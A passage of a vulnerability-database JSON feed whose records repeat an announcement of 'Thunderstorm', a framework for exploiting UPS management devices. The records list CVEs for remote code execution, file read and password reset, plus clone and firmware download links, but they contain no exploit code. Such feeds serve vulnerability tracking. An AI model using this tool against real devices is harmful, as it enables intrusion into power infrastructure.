204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-05T01:00:16.254752Z"}, {"uuid": "fb7d7d5f-265a-4030-abde-ce665d8c7167", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47893", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-05T01:00:16.492203Z"}, {"uuid": "fdd5be42-40d5-4fc1-87cb-fbdef90f9cfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47192", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-05T01:00:16.309804Z"}, {"uuid": "1a68b4fd-44a2-49f7-b800-48f0eca4c3ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47186", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-05T01:00:16.555604Z"}, {"uuid": "424b0fdb-20ec-439b-9491-70bf44143766", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47190", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-05T01:00:16.989287Z"}, {"uuid": "20b72f25-82d8-43af-9072-7f40480ccd58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47188", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-05T01:00:17.092087Z"}, {"uuid": "5956bea2-063d-47e3-bc86-d015ccf5f837", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47191", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-05T01:00:17.133351Z"}, {"uuid": "9b5a984b-b84c-4fb0-b28f-dbc827dbf45c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47891", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93302", "content": "KitPloit - PenTest Tools!\nThunderstorm - Modular Framework To Exploit UPS Devices\n\nhttps://blogger.googleusercontent.com/img/a/AVvXsEjvTHMDSAeY2mjn1Hxu3g1bNzKkAe8-crRUJbKqhnrI5Sj5IYDag0UkpmK1bPUemnbjw38xi162rbWIridiwG66z6HTJvl-auO6P4qWm0Pt9lRy0kbulfBYwqJjVbQDnGGYOpX7V977ajzt1TU2FBlsYMM8DyTLMtIryd6XsVRGpjyokvzu9Dbw5s0fPQ=w640-h436 \nThunderstorm is a modular framework to exploit UPS devices.\n\nFor now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\nCVE\n\nThunderstorm is currently capable of exploiting the following CVE:\n\n* CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]\n* CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]\n* CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]\n* CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]\n* CVE-2022-47190 \u2013 Remote Code Execution via file upload # [CS-141]\n* CVE-2022-47191 \u2013 Privilege Escalation via file upload # [CS-141]\n* CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]\n* CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]\n* CVE-2022-47892 \u2013 Sensitive Information Disclosure # [NetMan 204]\n* CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]\n\nRequirements\n\n* Python 3\n* Install requirements.txt\n\nDownload\n\nIt is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:\n\ngit clone https://github.com/JoelGMSec/Thunderstorm\n\n\nAlso, you probably need to download the original and the custom firmware.  You can download all requirements from here: https://darkbyte.net/links/thunderstorm.php\n\nUsage\n\n- To be disclosed\n\n\n\nThe detailed guide of use can be found at the following link:\n\n* To be disclosed\n\nLicense\n\nThis project is licensed under the GNU 3.0 license - see the LICENSE file for more details.\n\nCredits and Acknowledgments\n\nThis tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec\n\nContact\n\nThis software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.\n\nFor more information, you can find me on Twitter as @JoelGMSec and on my blog darkbyte.net.\nDownload Thunderstorm", "creation_timestamp": "2026-09-05T01:00:17.173027Z"}, {"uuid": "60ce50ae-6aa8-4b0b-a285-f1425214e377", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47892", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-05T01:00:17.253116Z"}, {"uuid": "8a9e6235-b688-4492-8f71-23da3664e2b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47192", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-05T01:00:17.288992Z"}, {"uuid": "cffe8703-3068-4b5e-9491-26d3f8aa99e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47893", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-05T01:00:17.384219Z"}, {"uuid": "a5b48c0c-9365-4d59-aac8-61ce2aeea36e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47186", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 Arbitrary local file read via file upload # [CS-141]  CVE-2022-47189 \u2013 Denial of Service via file upload # [CS-141]  CVE-2022-47190 \u2013 Remote Code Execution (https://www.kitploit.com/search/label/Remote%20Code%20Execution) via file upload # [CS-141]  CVE-2022-47191 \u2013 Privilege Escalation (https://www.kitploit.com/search/label/Privilege%20Escalation) via file upload # [CS-141]  CVE-2022-47192 \u2013 Admin password reset via file upload # [CS-141]  CVE-2022-47891 \u2013 Admin password reset # [NetMan 204]  CVE-2022-47892 \u2013 Sensitive Information Disclosure (https://www.kitploit.com/search/label/Information%20Disclosure) # [NetMan 204]  CVE-2022-47893 \u2013 Remote Code Execution via file upload # [NetMan 204]    Requirements    Python 3  Install requirements.txt    Download  It is recommended to clone the complete repository or download the zip file.  You can do this by running the following command:  git clone https://github.com/JoelGMSec/Thunderstorm\n  Also, you probably need to download the original and the custom firmware.  You can download all requirements from here:  https://darkbyte.net/links/thunderstorm.php  Usage  - To be disclosed\n\n  The detailed guide of use can be found at the following link:    To be disclosed    License  This project is licensed under the GNU 3.0 license - see the LICENSE file for more details.  Credits and Acknowledgments  This tool has been created and designed from scratch by Joel G\u00e1mez Molina // @JoelGMSec  Contact  This software does not offer any kind of guarantee. Its use is exclusive for educational environments and / or security audits with the corresponding consent of the client. I am not responsible for its misuse or for any possible damage caused by it.  For more information, you can find me on Twitter as @JoelGMSec (https://twitter.com/JoelGMSec) and on my blog darkbyte.net (https://darkbyte.net/).  \n\nDownload Thunderstorm (https://github.com/JoelGMSec/Thunderstorm)", "creation_timestamp": "2026-09-05T01:00:17.444204Z"}, {"uuid": "83420894-2298-4cce-b159-364c9d17517d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47190", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/93356", "content": "Thunderstorm is a modular framework to exploit UPS devices.  For now, only the CS-141 and NetMan 204 exploits will be available. The beta version of the framework will be released on the future.\n  CVE  Thunderstorm is currently capable of exploiting the following CVE:    CVE-2022-47186 \u2013 Unrestricted file Upload # [CS-141]  CVE-2022-47187 \u2013 Cross-Site Scripting via File upload # [CS-141]  CVE-2022-47188 \u2013 